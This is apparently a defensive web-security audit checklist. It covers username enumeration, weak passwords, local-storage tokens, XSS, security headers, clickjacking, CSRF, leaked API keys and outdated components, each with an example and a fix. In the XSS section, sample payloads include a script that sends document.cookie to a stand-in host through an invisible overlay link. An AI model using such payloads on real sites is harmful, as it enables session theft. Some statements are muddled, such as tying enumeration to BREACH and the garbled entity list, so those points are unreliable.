Description

An attacker can enumerate the usernames as the application throws an error message in the system.

How To Simulate / Example

The app gives an error message (User does not exist) when the wrong username is passed with forget password request, which helps in enumerating the usernames.

Affect

The app is vulnerable against BREACH attack.

Solution

Ensure the application returns consistent generic error messages in response to the invalid account name, password or other user credentials entered during the login/forgot password process.

Description

Allow user to enter weak password or reuse old password

How To Simulate / Example

• Previous password can be reused in the change password field.
• Password is not weak and easy to guess like admin123, 123456, ...

Affect

An attacker can easily brute-force password using Password dictionary attack which may lead to account takeover by cracking weak guessable passwords. Several user accounts and their sensitive information can be compromised. If the web application has already suffered a data breach and all the passwords have been disclosed to the public, then allowing the user to set the same password can result into an attacker logging into the victims account using the earlier disclosed password.

Solution

Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words and reusing of passwords.

Description

Store sensitive data in local storage and cookie

How To Simulate / Example

Sensitive information is visible in Local Storage like Access Token, Refresh Token

Solution

• It is recommended to set the HttpOnly and Secure flags on cookies. The HttpOnly flag ensures that cookies are only accessible through HTTP requests, while the Secure flag ensures that cookies are only transmitted over HTTPS connections.
• If you need to store sensitive data in local storage, you can encrypt the data before storing it. However, this is not a foolproof solution as the encryption algorithm and passphrase can be exposed if someone manages to read the code of your app and access the memory of the browser.
• OWASP recommends that sensitive data stored locally on the device should always be encrypted, and any keys used for encryption methods should be securely stored within the Android Keystore

Description

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. The attacker can use the code to steal sensitive data, perform unauthorized actions, or compromise the user's browser.

There are three main types of XSS attacks:

• Reflected XSS: The attacker sends a malicious link to the user, which contains the XSS payload. When the user clicks on the link, the web application reflects the payload back to the user's browser, where it executes.
• Stored XSS: The attacker stores the XSS payload on the web application, such as in a comment, a forum post, or a profile. When the user visits the web page that contains the payload, the web application renders the payload and executes it on the user's browser.
• DOM-based XSS: The attacker modifies the DOM (Document Object Model) of the web page using client-side scripts, such as JavaScript. The web application does not validate or sanitize the user input, and executes the payload on the user's browser.

How To Simulate / Example

Some examples of XSS payloads:

• <script>alert('XSS')</script>: This payload displays an alert box with the message "XSS".
• <img src=x onerror=alert('XSS')>: This payload creates an image element with an invalid source, and triggers the onerror event, which displays an alert box with the message "XSS"
• <div id=xss></div>
<script>document.getElementById('xss').innerHTML = document.cookie</script> : This payload creates a div element with the id "xss", and then uses a script to write the user's cookie into the div.
• You can see this <script type="text/javascript">
function myFunction() {
var test = escape(document.cookie);
var link = `https://abc.com?cookie=${test}`;
window.location.href = link;
}
</script>
<a href=" javascript: var test = escape(document.cookie); var link = `https://abc.com?cookie=${test}`; window.location.href = link; " style="position:absolute;z-index:9999;top:0;left:0;bottom:0;right:0;opacity:0">But you can't see me</a>

Affect

Can result in the theft of sensitive data or the hijacking of user sessions.

Solution

• Output encoding: The web application should encode the user input before displaying it on the web page, so that it is treated as plain text, not as code. For example, the characters <,>, "", ', and & should be replaced with their HTML entities, such as <,>, "", ', and &.
• Input validation: The web application should validate the user input and reject any input that contains malicious characters or scripts. For example, the web application can use a whitelist of allowed characters or a blacklist of forbidden characters, or use regular expressions to filter the input. (use lib strip-js for nodejs or htmlspecialchars for php)
• Content Security Policy (CSP): The web application should use CSP to restrict the sources and types of content that can be loaded and executed on the web page. For example, the web application can use CSP to only allow scripts from trusted domains, or to disable inline scripts and eval functions.

Description

The application has not implemented the following secure HTTP response header properly

How To Simulate / Example

Some of header security that often missed

• Content Security Policy
• HTTP Strict Transport Security

Affect

The misconfigured security header can allow an attacker to initiate attacks such as protocol downgrade, cookie hijacking, CSRF, and XSS.

Solution

It is recommended to set the HTTP response headers:

• Strict-Transport-Security
• Content-Security-Policy
• X-Frame-Options
• Check site header use https://securityheaders.com/

Description

The application can be loaded in an iframe hosted on a different domain.

How To Simulate / Example

The app doesn't have X-FRAME-OPTIONS in header so it can be loaded in iframe on different domain

Affect

An attacker can build a website that has advertisements with the web application URL in a hidden frame and force the victim users to perform actions such as mouse clicks and keystrokes. The victim tries to click the button on the advertisement but instead actually clicks on the invisible button of the web application, resulting in unintended activities.

Solution

Always set the `X-FRAME-OPTIONS` response header with the value `SAMEORIGIN` or `DENY` to prevent other websites from framing the content of this website.

Description

Cross-Site Request Forgery a web security vulnerability that allows an attacker to induce a user to perform actions on a web application that they do not intend to

How To Simulate / Example

One example of a CSRF attack is when an attacker sends a malicious link to a user that contains a forged request to a web application. When the user clicks on the link, the web application executes the request as if it came from the user, without verifying their intention. For instance, suppose a web application has a function that lets the user delete their account by sending a GET request like this:

GET /account/delete HTTP/1.1
Host: vulnerable-website.com
Cookie: session=123456789

An attacker can craft a malicious link that looks like this:

http://vulnerable-website.com/account/delete

If the user clicks on this link while logged into the web application, their account will be deleted without their consent.

Affect

Attacker can make user perform action without their consent

Solution

To prevent CSRF attacks, the web application should implement a mechanism that verifies the user's intention before performing any sensitive action. One common method is to use CSRF tokens, which are random and unique values that are generated by the server and attached to the user's session. The web application requires the user to include the CSRF token in every request that performs a sensitive action, and rejects any request that does not have a valid token. For example, using CSRF tokens, the web application would expect a request like this to delete the user's account:

GET /account/delete?csrf=abcdefg HTTP/1.1
Host: vulnerable-website.com
Cookie: session=123456789; csrf=abcdefg

The attacker cannot forge this request, because they do not know the value of the CSRF token that is associated with the user's session.

Description

Several API keys are stored in the source code repository,

How To Simulate / Example

Google api key

Affect

API keys found in repositories by non-users can potentially abused to spend credits on the cloud service related to that key, or to cause Denial of Service attacks by accessing the cloud service repeatedly

Solution

API keys should be removed from the source code repository, stored in a secure secret manager and added back into the code at build time.

Description

Application contains content provided from a 3rd party resource that is delivered without any type of content scrub.

How To Simulate / Example

<iframe src=""http://site.com/share/Action.swf"" width=""720"" height=""420"" marginwidth=""0"" marginheight=""0"" scrolling=""Auto"" frameborder=""0""> </iframe>

Affect

If the hosting site is vulnerable to attack, all content delivered to an application would be vulnerable malicious changes.

Description

web application supports older and vulnerable component of the third party

Affect

While some known vulnerabilities lead to only minor impacts, some of the largest breaches to date have relied on exploiting known vulnerabilities in components. Depending on the assets you are protecting, perhaps this risk should be at the top of the list.

Solution

Always check and update dependent components. Can use npm audit